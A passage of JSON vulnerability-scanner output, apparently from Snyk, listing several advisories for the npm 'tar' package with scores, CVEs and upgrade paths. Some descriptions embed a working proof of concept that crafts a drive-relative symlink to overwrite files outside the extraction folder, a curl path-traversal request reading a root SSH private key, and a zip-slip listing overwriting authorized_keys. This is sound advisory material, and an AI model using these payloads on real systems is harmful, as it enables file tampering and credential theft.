"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": 